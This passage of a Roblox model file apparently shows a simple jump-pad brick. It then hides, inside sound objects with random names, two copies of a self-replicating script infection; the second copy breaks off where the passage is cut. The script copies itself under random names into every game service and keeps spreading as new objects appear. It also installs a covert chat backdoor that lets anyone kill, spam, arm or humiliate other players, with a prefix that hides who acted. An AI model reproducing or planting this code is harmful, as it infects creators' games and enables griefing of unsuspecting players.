					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>6</X>
						<Y>1.20000005</Y>
						<Z>19</Z>
					</Vector3>
				</Properties>
				<Item class="Script" referent="RBX138">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">local v = 200
function onTouched(part) -- when the brick gets touched
	if part.Parent ~= nil then -- if it&apos;s human
		local h = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
			if h~=nil then 
				
h.Parent.Torso.Velocity=Vector3.new(0,v,0) -- shoot your humanoid in the air at v speed
wait(0.5) -- wait this long						
			end
	end
end
script.Parent.Touched:connect(onTouched)

</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX139">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">xhkmtkhdd</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX140">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">4y3arv7k</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX141">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">6n0hb</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX142">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">mny9i6m</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
